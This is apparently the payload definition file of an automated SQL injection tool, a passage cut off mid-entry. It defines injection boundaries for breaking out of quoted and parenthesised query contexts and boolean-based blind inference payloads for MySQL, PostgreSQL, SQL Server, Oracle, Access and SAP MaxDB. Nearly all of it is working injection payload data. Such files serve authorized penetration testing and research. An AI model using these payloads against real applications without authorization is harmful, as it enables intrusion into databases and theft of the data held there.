payloads.xml

<?xml version="1.0" encoding="UTF-8"?>

<!--
Tag: <boundary>
    How to prepend and append to the test ' <payload><comment> ' string.

    Sub-tag: <level>
        From which level check for this test.

        Valid values:
            1: Always (<100 requests)
            2: Try a bit harder (100-200 requests)
            3: Good number of requests (200-500 requests)
            4: Extensive test (500-1000 requests)
            5: You have plenty of time (>1000 requests)

    Sub-tag: <clause>
        In which clause the payload can work.

        NOTE: for instance, there are some payload that do not have to be
        tested as soon as it has been identified whether or not the
        injection is within a WHERE clause condition.

        Valid values:
            0: Always
            1: WHERE / HAVING
            2: GROUP BY
            3: ORDER BY
            4: LIMIT
            5: OFFSET
            6: TOP
            7: Table name
            8: Column name

        A comma separated list of these values is also possible.

    Sub-tag: <where>
        Where to add our '<prefix> <payload><comment> <suffix>' string.

        Valid values:
            1: When the value of <test>'s <where> is 1.
            2: When the value of <test>'s <where> is 2.
            3: When the value of <test>'s <where> is 3.

        A comma separated list of these values is also possible.

    Sub-tag: <ptype>
        What is the parameter value type.

        Valid values:
            1: Unescaped numeric
            2: Single quoted string
            3: LIKE single quoted string
            4: Double quoted string
            5: LIKE double quoted string

    Sub-tag: <prefix>
        A string to prepend to the payload.

    Sub-tag: <suffix>
        A string to append to the payload.


Tag: <test>
    SQL injection test definition.

    Sub-tag: <title>
        Title of the test.

    Sub-tag: <stype>
        SQL injection family type.

        Valid values:
            0: Heuristic check to parse response errors
            1: Boolean-based blind SQL injection
            2: Error-based queries SQL injection
            3: UNION query SQL injection
            4: Stacked queries SQL injection
            5: Time-based blind SQL injection
            6: Inline queries SQL injection

    Sub-tag: <level>
        From which level check for this test.

        Valid values:
            1: Always (<100 requests)
            2: Try a bit harder (100-200 requests)
            3: Good number of requests (200-500 requests)
            4: Extensive test (500-1000 requests)
            5: You have plenty of time (>1000 requests)

    Sub-tag: <risk>
        Likelihood of a payload to damage the data integrity.

        Valid values:
            0: No risk
            1: Low risk
            2: Medium risk
            3: High risk

    Sub-tag: <clause>
        In which clause the payload can work.

        NOTE: for instance, there are some payload that do not have to be
        tested as soon as it has been identified whether or not the
        injection is within a WHERE clause condition.

        Valid values:
            0: Always
            1: WHERE / HAVING
            2: GROUP BY
            3: ORDER BY
            4: LIMIT
            5: OFFSET
            6: TOP
            7: Table name
            8: Column name

        A comma separated list of these values is also possible.

    Sub-tag: <where>
        Where to add our '<prefix> <payload><comment> <suffix>' string.

        Valid values:
            1: Append the string to the parameter original value
            2: Replace the parameter original value with a negative random
               integer value and append our string
            3: Replace the parameter original value with our string

    Sub-tag: <vector>
        The payload that will be used to exploit the injection point.

    Sub-tag: <request>
        What to inject for this test.

        Sub-tag: <payload>
            The payload to test for.

        Sub-tag: <comment>
            Comment to append to the payload, before the suffix.

        Sub-tag: <char>
            Character to use to bruteforce number of columns in UNION
            query SQL injection tests.

        Sub-tag: <columns>
            Range of columns to test for in UNION query SQL injection
            tests.

    Sub-tag: <response>
        How to identify if the injected payload succeeded.

        Sub-tag: <comparison>
            Perform a request with this string as the payload and compare
            the response with the <payload> response. Apply the comparison
            algorithm.

            NOTE: useful to test for boolean-based blind SQL injections.

        Sub-tag: <grep>
            Regular expression to grep for in the response body.

            NOTE: useful to test for error-based SQL injection.

        Sub-tag: <time>
            Time in seconds to wait before the response is returned.

            NOTE: useful to test for time-based blind and stacked queries
            SQL injections.

        Sub-tag: <union>
            Calls unionTest() function.

            NOTE: useful to test for UNION query (inband) SQL injection.

        Sub-tag: <oob>
            # TODO

    Sub-tag: <details>
        Which details can be infered if the payload succeed.

        Sub-tags: <dbms>
            What is the database management system (e.g. MySQL).

        Sub-tags: <dbms_version>
            What is the database management system version (e.g. 5.0.51).

        Sub-tags: <os>
            What is the database management system underlying operating
            system.

Formats:
    <boundary>
        <level></level>
        <clause></clause>
        <where></where>
        <ptype></ptype>
        <prefix></prefix>
        <suffix></suffix>
    </boundary>

    <test>
        <title></title>
        <stype></stype>
        <level></level>
        <risk></risk>
        <clause></clause>
        <where></where>
        <vector></vector>
        <request>
            <payload></payload>
            <comment></comment>
            <char></char>
            <columns></columns>
        </request>
        <response>
            <comparison></comparison>
            <grep></grep>
            <time></time>
            <union></union>
            <oob></oob>
        </response>
        <details>
            <dbms></dbms>
            <dbms_version></dbms_version>
            <os></os>
        </details>
    </test>
-->

<root>
    <!-- Generic boundaries -->
    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"</prefix>
        <suffix></suffix>
    </boundary>
    <!-- End of generic boundaries -->

    <!-- WHERE/HAVING clause boundaries -->
    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)</prefix>
        <suffix>AND ([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>))</prefix>
        <suffix>AND (([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)))</prefix>
        <suffix>AND ((([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>0</clause>
        <where>1,2,3</where>
        <ptype>1</ptype>
        <prefix></prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')</prefix>
        <suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'))</prefix>
        <suffix>AND (('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')))</prefix>
        <suffix>AND ((('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'</prefix>
        <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>')</prefix>
        <suffix>AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>'))</prefix>
        <suffix>AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>')))</prefix>
        <suffix>AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>'</prefix>
        <suffix>AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>")</prefix>
        <suffix>AND ("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"))</prefix>
        <suffix>AND (("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>")))</prefix>
        <suffix>AND ((("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"</prefix>
        <suffix>AND "[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>")</prefix>
        <suffix>AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>"))</prefix>
        <suffix>AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>")))</prefix>
        <suffix>AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>"</prefix>
        <suffix>AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%')</prefix>
        <suffix>AND ('%'='</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%'))</prefix>
        <suffix>AND (('%'='</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%')))</prefix>
        <suffix>AND ((('%'='</suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%'</prefix>
        <suffix>AND '%'='</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%00')</prefix>
        <suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>%00'</prefix>
        <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>
    <!-- End of WHERE/HAVING clause boundaries -->


    <!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>-- </suffix>
    </boundary>
    <!-- End of pre-WHERE generic boundaries -->

    <!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->
    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1</where>
        <ptype>2</ptype>
        <prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>)||'</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1</where>
        <ptype>2</ptype>
        <prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>)||'</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1</where>
        <ptype>1</ptype>
        <prefix>'+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>)+'</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1</where>
        <ptype>2</ptype>
        <prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
        <suffix>)+'</suffix>
    </boundary>
    <!-- End of INSERT/UPDATE generic boundaries -->

    <!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1</where>
        <ptype>2</ptype>
        <prefix>' IN BOOLEAN MODE)</prefix>
        <suffix>#</suffix>
    </boundary>
    <!-- End of AGAINST boolean full-text search boundaries -->

    <!-- Boolean-based blind tests - WHERE/HAVING clause -->
    <test>
        <title>AND boolean-based blind - WHERE or HAVING clause</title>
        <stype>1</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

    <test>
        <title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
            <comment>#</comment>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
            <comment>-- </comment>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

    <test>
        <title>OR boolean-based blind - WHERE or HAVING clause</title>
        <stype>1</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR ([INFERENCE])</vector>
        <request>
            <payload>OR ([RANDNUM]=[RANDNUM])</payload>
        </request>
        <response>
            <comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
        </response>
    </test>

    <test>
        <title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR ([INFERENCE])</vector>
        <request>
            <payload>OR ([RANDNUM]=[RANDNUM])</payload>
            <comment>#</comment>
        </request>
        <response>
            <comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR ([INFERENCE])</vector>
        <request>
            <payload>OR ([RANDNUM]=[RANDNUM])</payload>
            <comment>-- </comment>
        </request>
        <response>
            <comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
        </response>
    </test>

    <test>
        <title>MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>RLIKE IF([INFERENCE],[ORIGVALUE],0x28)</vector>
        <request>
            <payload>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</payload>
        </request>
        <response>
            <comparison>RLIKE IF([RANDNUM]=[RANDNUM1],[ORIGVALUE],0x28)</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>
    <!-- End of boolean-based blind tests - WHERE or HAVING clause -->


    <!-- Boolean-based blind tests - Parameter replace -->
    <test>
        <title>Generic boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
        </response>
    </test>

    <test>
        <title>MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>MAKE_SET([INFERENCE],[ORIGVALUE])</vector>
        <request>
            <payload>MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
        </request>
        <response>
            <comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>MySQL boolean-based blind - Parameter replace (ELT - original value)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>ELT([INFERENCE],[ORIGVALUE])</vector>
        <request>
            <payload>ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>
        </request>
        <response>
            <comparison>ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>([INFERENCE])*[ORIGVALUE]</vector>
        <request>
            <payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>
        </request>
        <response>
            <comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0 boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>
        <request>
            <payload>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>
        </request>
        <response>
            <comparison>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Oracle boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
        <request>
            <payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
        </request>
        <response>
            <comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
        </response>
        <details>
            <dbms>Microsoft Access</dbms>
        </details>
    </test>

    <test>
        <title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
        <request>
            <payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
        </request>
        <response>
            <comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>
        </response>
        <details>
            <dbms>SAP MaxDB</dbms>
        </details>
    </test>
    <!-- End of boolean-based blind tests - Parameter replace -->


    <!-- Boolean-based blind tests - GROUP BY and ORDER BY clauses -->
    <test>
        <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>
        <request>
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>
        </request>
        <response>
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>
        </response>
    </test>

    <test>
        <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
        <request>
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
        </request>
        <response>
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
        </response>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
        <request>
            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
        </request>
        <response>
            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>